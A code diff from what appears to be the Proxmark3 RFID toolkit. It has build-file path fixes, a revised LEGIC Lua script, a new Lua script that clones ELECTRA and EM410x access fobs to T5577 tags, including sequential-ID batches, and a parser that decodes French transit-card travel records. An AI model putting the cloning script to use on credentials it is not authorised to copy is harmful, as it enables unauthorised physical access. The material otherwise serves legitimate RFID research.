if(APPLE AND EXISTS /usr/local/opt/qt5) if(APPLE AND EXISTS /usr/local/opt/qt5)
# Homebrew installs Qt5 (up to at least 5.11.0) in # Homebrew installs Qt5 (up to at least 5.11.0) in
# /usr/local/opt/qt5. Ensure that it can be found by CMake # /usr/local/opt/qt5. Ensure that it can be found by CMake
@ -56,16 +57,17 @@ if (NOT SKIPQT EQUAL 1)
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5)
endif(APPLE AND EXISTS /usr/local/opt/qt5) endif(APPLE AND EXISTS /usr/local/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
# Homebrew on Apple Silicon installs Qt5 in # Homebrew on Apple Silicon installs Qt5 in
# /opt/homebrew/opt/qt5. Ensure that it can be found by CMake # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake
# since it is not in the default /usr/local prefix. # since it is not in the default /usr/local prefix.
# Add it to PATHS so that it doesn't override the # Add it to PATHS so that it doesn't override the
# CMAKE_PREFIX_PATH environment variable. # CMAKE_PREFIX_PATH environment variable.
# QT_FIND_PACKAGE_OPTIONS should be passed to find_package, # QT_FIND_PACKAGE_OPTIONS should be passed to find_package,
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt5) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5)
endif(APPLE AND EXISTS /opt/homebrew/opt/qt5) endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
set(QT_PACKAGELIST set(QT_PACKAGELIST
Qt5Core Qt5Core
Qt5Widgets Qt5Widgets
@ -262,6 +264,7 @@ set (TARGET_SOURCES
${PM3_ROOT}/common/cardhelper.c ${PM3_ROOT}/common/cardhelper.c
${PM3_ROOT}/common/generator.c ${PM3_ROOT}/common/generator.c
${PM3_ROOT}/common/bruteforce.c ${PM3_ROOT}/common/bruteforce.c
${PM3_ROOT}/common/hitag2/hitag2_crypto.c
${PM3_ROOT}/client/src/crypto/asn1dump.c ${PM3_ROOT}/client/src/crypto/asn1dump.c
${PM3_ROOT}/client/src/crypto/asn1utils.c ${PM3_ROOT}/client/src/crypto/asn1utils.c
${PM3_ROOT}/client/src/crypto/libpcrypto.c ${PM3_ROOT}/client/src/crypto/libpcrypto.c
@ -455,7 +458,6 @@ if (APPLE)
message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}") message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}")
set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit") set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit")
endif() endif()
endif (APPLE) endif (APPLE)
if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND))
@ -675,6 +677,8 @@ if (NOT SKIPPYTHON EQUAL 1)
endif (NOT SKIPPYTHON EQUAL 1) endif (NOT SKIPPYTHON EQUAL 1)
message(STATUS "===================================================================") message(STATUS "===================================================================")
add_definitions(-DHAVE_SNPRINTF)
add_library(pm3rrg_rdv4 SHARED add_library(pm3rrg_rdv4 SHARED
${PM3_ROOT}/client/src/proxmark3.c ${PM3_ROOT}/client/src/proxmark3.c
${TARGET_SOURCES} ${TARGET_SOURCES}
@ -733,6 +737,9 @@ target_include_directories(pm3rrg_rdv4 PRIVATE
if (NOT APPLE) if (NOT APPLE)
# required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line. # required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line.
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed) set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed)
else (NOT APPLE)
#set_property(TARGET proxmark3 PROPERTY LINK_FLAGS "-Wl,-undefined dynamic_lookup")
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,-undefined,dynamic_lookup)
endif (NOT APPLE) endif (NOT APPLE)
if (NOT JANSSON_FOUND) if (NOT JANSSON_FOUND)

View file

@ -167,12 +167,11 @@ local function help()
print(ansicolors.cyan..'Example usage'..ansicolors.reset) print(ansicolors.cyan..'Example usage'..ansicolors.reset)
print(example) print(example)
end end
-- read LEGIC data -- read LEGIC info
local function readlegicdata(offset, len, iv) local function readlegicinfo()
-- Read data -- Read data
local d0 = ('%04X%04X%02X'):format(offset, len, iv) local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_INFO, data = nil}
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_READER, data = d0} local result, err = c:sendNG(false, 2000)
local result, err = c:sendNG()
if not result then return oops(err) end if not result then return oops(err) end
-- result is a packed data structure, data starts at offset 33 -- result is a packed data structure, data starts at offset 33
return result return result
@ -404,15 +403,15 @@ local function writeToTag(plainBytes)
return return
end end
readbytes = readlegicdata(0, 4, 0x55) readbytes = readlegicinfo()
-- gather MCD & MSN from new Tag - this must be enterd manually -- gather MCD & MSN from new Tag - this must be enterd manually
print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:") print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:")
-- readbytes is a usbcommandOLD package, hence 32 bytes offset until data. -- readbytes is a table with uid data as hex string in Data key
plainBytes[1] = ('%02x'):format(readbytes:byte(33)) plainBytes[1] = readbytes.Data:sub(1,2)
plainBytes[2] = ('%02x'):format(readbytes:byte(34)) plainBytes[2] = readbytes.Data:sub(3,4)
plainBytes[3] = ('%02x'):format(readbytes:byte(35)) plainBytes[3] = readbytes.Data:sub(5,6)
plainBytes[4] = ('%02x'):format(readbytes:byte(36)) plainBytes[4] = readbytes.Data:sub(7,8)
MCD = plainBytes[1] MCD = plainBytes[1]
MSN0 = plainBytes[2] MSN0 = plainBytes[2]

View file

@ -0,0 +1,326 @@
local getopt = require('getopt')
local utils = require('utils')
local ac = require('ansicolors')
local os = require('os')
local count = 0
line = '-------------------------------------------------------------------------'
mod = " ELECTRA or EM410x fob cloning SCRIPT "
version = " v1.1.17 02/09/2023 made by jareckib "
desc = [[
Cloning new ELECTRA tags or EM410x to T5577 tag. This script changes
block 0. Additional data is written to block 3 and 4. The last
ELECTRA ID can be accessed through the option ---> "-c". For copy
directly from the original ELECTRA tag, ---> option "-e". For copy
from input, EM410X ID ---> option "-s". Next option for cloning simple
EM4102 ---> option "-m". If press <Enter> it, which writes an ID.
If press <n> ---> exit the script.
]]
example = [[
-------------------------------------------------------------------------------
--------------- cloning ELECTRA tag from input ID to T5577 tag ----------------
script run lf_electra -s 11AA22BB55
----------------- continue cloning from last cloned ELECTRA -------------------
script run lf_electra -c
---------------------- ELECTRA cloning from the original TAG -----------------
script run lf_electra -e
----------------------------- simple EM4102 cloning ---------------------------
script run lf_electra -m
-------------------------------------------------------------------------------
]]
usage = [[
script run lf_electra.lua [-e] [-h] [-c] [-m] [-s <ID HEX number>]
]]
arguments = [[
-h : this help
-c : continue cloning from last ID used
-s : ELECTRA - EM410x ID HEX number
-e : Read original ELECTRA from Proxmark3 device
-m : EM410x cloning
]]
--------------------------------------Path to logs files
local DEBUG = false
local dir = os.getenv('HOME')..'/.proxmark3/logs/'
local LAST_ID = os.getenv('HOME')..'/.proxmark3/logs/last_id.txt'
local ID_STATUS = (io.popen('dir /a-d /o-d /tw /b/s "'..dir..'" 2>nul:'):read("*a"):match"%C+")
if not ID_STATUS then
error"No files in this directory"
end
-------------------------------------------A debug printout-function
local function dbg(args)
if not DEBUG then return end
if type(args) == 'table' then
local i = 1
while args[i] do
dbg(args[i])
i = i+1
end
else
print('###', args)
end
end
------------------------------------------------- errors
local function oops(err)
core.console('clear')
print( string.rep('--',39) )
print( string.rep('--',39) )
print(ac.red..' ERROR:'..ac.reset.. err)
print( string.rep('--',39) )
print( string.rep('--',39) )
return nil, err
end
-----------------------------------------------sleep
local function sleep(n)
os.execute("sleep " ..tonumber(n))
end
--------------------wait
function wait(msec)
local t = os.clock()
repeat
until os.clock() > t + msec * 1e-3
end
----------------------------------------------time wait
local function timer(n)
while n > 0 do
io.write(ac.cyan.." ::::: "..ac.yellow.. tonumber(n) ..ac.yellow.." sec "..ac.cyan..":::::\r"..ac.reset)
sleep(1)
io.flush()
n = n-1
end
end
----------------------------------------------------- help
local function help()
core.console('clear')
print(line)
print(ac.cyan..mod..ac.reset)
print(ac.cyan..version..ac.reset)
print(ac.yellow..desc..ac.reset)
print(line)
print(ac.cyan..' Usage'..ac.reset)
print(usage)
print(ac.cyan..' Arguments'..ac.reset)
print(arguments)
print(line)
timer(30)
core.console('clear')
print(ac.cyan..' Example usage'..ac.reset)
print(example)
end
------------------------------------ Exit message
local function exitMsg(msg)
print( string.rep('--',39) )
print( string.rep('--',39) )
print(msg)
print()
end
--------------------------------- idsearch EM ID
local function id()
local f = assert(io.open(ID_STATUS, "r"))
for line in f:lines() do
id = line:match"^%[%+%] EM 410x ID (%x+)"
if id then break end
end
f:close()
local f= io.open(ID_STATUS, "w+")
f:write(id)
f:close()
local f= io.open(ID_STATUS, "r")
local t = f:read("*all")
f:close()
local hex_hi = tonumber(t:sub(1, 2), 16)
local hex_low = tonumber(t:sub(3, 10), 16)
return hex_hi, hex_low
end
---------------------------------------read file
local function readfile()
local f = io.open(ID_STATUS, "r")
for line in f:lines() do
id = line:match"^(%x+)"
if id then break end
end
f:close()
if not id then
return oops (" ....No ID found in file") end
local f= io.open(ID_STATUS, "r")
local t = f:read("*all")
f:close()
local hex_hi = tonumber(t:sub(1, 2), 16)
local hex_low = tonumber(t:sub(3, 10), 16)
return hex_hi, hex_low
end
----------------------------------------last ID
local function IDsaved()
local f = io.open(LAST_ID, "r")
for line in f:lines() do
id = line:match"^(%x+)"
if id then break end
end
f:close()
if not id then
return oops (" ....No ID found in file") end
local f= io.open(LAST_ID, "r")
local t = f:read("*all")
f:close()
local hex_hi = tonumber(t:sub(1, 2), 16)
local hex_low = tonumber(t:sub(3, 10), 16)
return hex_hi, hex_low
end
----------------------------------------write file
local function writefile(hex_hi, hex_low)
local f = io.open(ID_STATUS, "w+")
local g = io.open(LAST_ID, 'w+')
f:write(("%02X%08X\n"):format(hex_hi, hex_low))
f:close()
g:write(("%02X%08X\n"):format(hex_hi, hex_low))
g:close()
print((' Saved EM410x ID '..ac.green..'%02X%08X'..ac.reset..' to TXT file:'):format(hex_hi, hex_low))
print((ac.yellow..' %s'..ac.reset):format(LAST_ID))
return true, 'Ok'
end
---------------replace line
local last_str = ''
function txt_change(str)
io.write(('\b \b'):rep(#last_str)) -- old line
io.write(str) -- new line
io.flush()
last_str = str
end
---------------------------------------- main
local function main(args)
print( string.rep('--',39) )
print( string.rep('--',39) )
print()
if #args == 0 then return help() end
local saved_id = false
local id_original = false
local emarine = false
local input_id = ''
for o, a in getopt.getopt(args, 'hems:c') do
if o == 'h' then return help() end
if o == 'e' then id_original = true end
if o == 'm' then emarine = true end
if o == 's' then input_id = a end
if o == 'c' then saved_id = true end
end
--------------------check -id
if not saved_id and not id_original and not emarine then
if input_id == nil then return oops(' empty EM410x ID string') end
if #input_id == 0 then return oops(' empty EM410x ID string') end
if #input_id < 10 then return oops(' EM410x ID too short. Must be 5 hex bytes') end
if #input_id > 10 then return oops(' EM410x ID too long. Must be 5 hex bytes') end
end
core.console('clear')
print( string.rep('--',39) )
print(ac.green..' ....... OFF THE HINTS WILL BE LESS ON THE SCREEN'..ac.reset)
print( string.rep('--',39) )
core.console('pref set hint --off')
print( string.rep('--',39) )
timer(4)
core.console('clear')
local hi = tonumber(input_id:sub(1, 2), 16)
local low = tonumber(input_id:sub(3, 10), 16)
if saved_id then
hi, low = IDsaved()
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' ......Continue cloning from last saved ID'..ac.reset)
print('')
print( string.rep('--',39) )
end
if id_original then
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' Put the ELECTRA tag on the coil PM3 to read '..ac.reset)
print('')
print( string.rep('--',39))
print(string.rep('--',39))
end
if emarine then
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' Put the EM4102 tag on the coil PM3 to read '..ac.reset)
print('')
print( string.rep('--',39) )
print( string.rep('--',39) )
end
if emarine or id_original then
io.write(' Press'..ac.yellow..' Enter'..ac.reset..' to continue ... ');io.read()
txt_change(' Readed TAG : ')
core.console(' lf em 410x read')
print( string.rep('--',39) )
hi, low = id()
timer(7)
core.console('clear')
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' Continuation of the cloning process....'..ac.reset)
print('')
print( string.rep('--',39) )
end
if not emarine and not id_original and not saved_id then
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' ........ ELECTRA cloning from Entered EM-ELECTRA ID'..ac.reset)
print('')
print( string.rep('--',39) )
end
if emarine then
d = ('EM4102 ID ')
else
d =('ELECTRA ID ')
end
local template = ((d)..ac.green..'%02X%08X'..ac.reset)
for i = low, low + 100, 1 do
local msg = (template):format(hi, low)
print( string.rep('--',39) )
if count > 0 then
print((' TAGs created: '..ac.green..'%s'..ac.reset):format(count))
print( string.rep('--',39) )
end
print((' %s >>>>>> cloning to '..ac.cyan..'T5577 -'..ac.yellow..' Enter'..ac.reset..' for yes or '..ac.yellow..'n'..ac.reset..' for exit'):format(msg))
print(' Before confirming the cloning operation, put a blank '..ac.cyan..'T5577'..ac.reset..' tag on coil'..ac.cyan..' PM3'..ac.reset..' !')
print( string.rep('--',39) )
io.write(' Continue with this operation'..ac.yellow..' (Enter/n)'..ac.reset..' ? > ')
answer = io.read()
if answer == 'n' then
core.console('clear')
print( string.rep('--',39) )
print(ac.red..' USER ABORTED'..ac.reset)
print( string.rep('--',39) )
break
end
core.console('clear')
print( string.rep('--',39) )
if emarine then
core.console( ('lf em 410x clone --id %02X%08X'):format(hi, low) )
else
core.console( ('lf em 410x clone --id %02X%08X'):format(hi, low) )
core.console('lf t55 write -b 0 -d 00148080')
core.console('lf t55 write -b 3 -d 7E1EAAAA')
core.console('lf t55 write -b 4 -d AAAAAAAA')
end
count = count+1
end
writefile(hi, low)
core.console('pref set hint --on')
print( string.rep('--',39) )
if count > 0 then
print((' TAGs created: '..ac.green..'%s'..ac.reset):format(count))
print( string.rep('--',39) )
end
end
main(args)

View file

@ -21,10 +21,14 @@ import sys, os
from datetime import datetime, timedelta from datetime import datetime, timedelta
from bitarray import bitarray from bitarray import bitarray
from bitarray.util import ba2int from bitarray.util import ba2int
from typing import NamedTuple
class BitMe: class BitMe:
def __init__(self): def __init__(self):
self.data = bitarray() self.data = bitarray(endian = 'big')
self.idx = 0
def reset(self):
self.idx = 0 self.idx = 0
def addBits(self, bits): def addBits(self, bits):
@ -47,61 +51,233 @@ class BitMe:
def isEmpty(self): def isEmpty(self):
return (len(self.data) == 0) return (len(self.data) == 0)
'''
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
'''
TYPE_EventCode_Nature = {
0x1: 'urban bus',
0x2: 'interurban bus',
0x3: 'metro',
0x4: 'tramway',
0x5: 'train',
0x8: 'parking',
}
TYPE_EventCode_Type = {
0x1: 'entry validation',
0x2: 'exit validation',
0x4: 'ticket inspecting',
0x6: 'connection entry validation',
0x14: 'test validation',
0x15: 'connection exit validation',
0x16: 'canceled validation',
0x17: 'invalidation',
0x18: 'distribution',
}
TYPE_EventGeoRoute_Direction = {
0: 'undefined',
1: 'outward',
2: 'inward',
3: 'circular',
}
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(65)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
EventCount_mb = Usage.nom(6)
unk0 = Usage.nom_bits(4)
EventCode_Nature_mb = Usage.nom(4)
EventCode_Type_mb = Usage.nom(4)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
0x4: 'urban bus',
0x1: 'tramway',
}
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' Count(?) : {}'. format(EventCount_mb))
print(' unk0... :', unk0);
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(27)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(63)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
print(' !!! Trying Usage_1 (the most common) !!!')
Usage.reset()
Certificate.reset()
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
class InterticHelper(NamedTuple):
OrganizationalAuthority: str
ContractProvider: str
UsageDescribeFunction: callable = None
ISO_Countries = { ISO_Countries = {
0x250: 'France', 0x250: 'France',
} }
FRA_OrganizationalAuthority_Contract_Provider = { FRA_OrganizationalAuthority_Contract_Provider = {
0x000: { 0x000: {
5: 'Lille (Ilévia / Keolis)', 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
7: 'Lens-Béthune (Tadao / Transdev)', 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
}, },
0x006: { 0x006: {
1: 'Amiens (Ametis / Keolis)', 1: InterticHelper('Amiens', 'Ametis / Keolis'),
}, },
0x008: { 0x008: {
15: 'Angoulême (STGA)', 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
}, },
0x021: { 0x021: {
1: 'Bordeaux (TBM / Keolis)', 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
}, },
0x057: { 0x057: {
1: 'Lyon (TCL / Keolis)', 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
}, },
0x072: { 0x072: {
1: 'Tours (filbleu / Keolis)', 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
}, },
0x078: { 0x078: {
4: 'Reims (Citura / Transdev)', 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
},
0x502: {
83: 'Annecy (Sibra)',
}, },
0x091: { 0x091: {
1: 'Strasbourg (CTS)', 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
},
0x502: {
83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
10: InterticHelper('Clermont-Ferrand', 'T2C'),
}, },
0x907: { 0x907: {
1: 'Dijon (Divia / Keolis)', 1: InterticHelper('Dijon', 'Divia / Keolis'),
}, },
0x908: { 0x908: {
1: 'Rennes (STAR / Keolis)', 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
8: 'Saint-Malo (MAT / RATP)', 8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
}, },
0x911: { 0x911: {
5: 'Besançon (Ginko / Keolis)', 5: InterticHelper('Besançon', 'Ginko / Keolis'),
}, },
0x912: { 0x912: {
3: 'Le Havre (Lia / Transdev)', 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)', 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
}, },
0x913: { 0x913: {
3: 'Nîmes (Tango / Transdev)', 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
}, },
0x917: { 0x917: {
4: 'Angers (Irigo / RATP)', 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
7: 'Saint-Nazaire (Stran)', 7: InterticHelper('Saint-Nazaire', 'Stran'),
}, },
} }
@ -138,99 +314,73 @@ def main():
file.close() file.close()
SystemArea = BitMe()
Distribution_Data = BitMe() Distribution_Data = BitMe()
C1 = BitMe() Block0Left = BitMe()
C2 = BitMe() # Usage_DAT = BitMe()
Usage_Sta_B = BitMe() # Usage_CER = BitMe()
Usage_Sta_E = BitMe() Usage_A_DAT = BitMe()
Usage_Data = BitMe() Usage_A_CER = BitMe()
Usage_Cer = BitMe() Usage_B_DAT = BitMe()
Usage_B_CER = BitMe()
Distribution_Cer = BitMe() Distribution_Cer = BitMe()
SWAP = None
RELOADING1 = None
COUNTER1 = None
# RELOADING2 = None
# COUNTER2 = None
Describe_Usage = None
Distribution_Data_End = data.nom_bits(24) Block0Left.addBits(data.nom_bits(23))
SystemArea.addBits(data.nom_bits(8)) KeyId = data.nom(4)
PID = data.nom(5)
PID = SystemArea.nom(5)
bIsFlipFlop = PID & 0x10
KeyId = SystemArea.nom(3)
print()
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
print('KeyId :', hex(KeyId));
match PID: match PID:
case 0x02: case 0x10:
Distribution_Data.addBits(data.nom_bits(3 * 32)) Distribution_Data.addBits(data.nom_bits(2 * 32))
Usage_Data_End = data.nom_bits(30) Distribution_Data.addBits(Block0Left.nom_bits_left())
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
C1.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
C2.addBits(data.nom_bits(32)) COUNTER1 = data.nom(24)
Usage_Data.addBits(data.nom_bits(7 * 32)) SWAP = data.nom(32)
Usage_Data.addBits(Usage_Data_End) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16)) Usage_B_DAT.addBits(data.nom_bits(4 * 32))
Usage_B_DAT.addBits(data.nom_bits(16))
Usage_B_CER.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case 0x06: case 0x11 | 0x19:
Distribution_Data.addBits(data.nom_bits(4 * 32)) Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32)) Distribution_Data.addBits(Block0Left.nom_bits_left())
C2.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
Distribution_Data.addBits(data.nom_bits(3 * 32)) COUNTER1 = data.nom(24)
Distribution_Data.addBits(Distribution_Data_End) SWAP = data.nom(32)
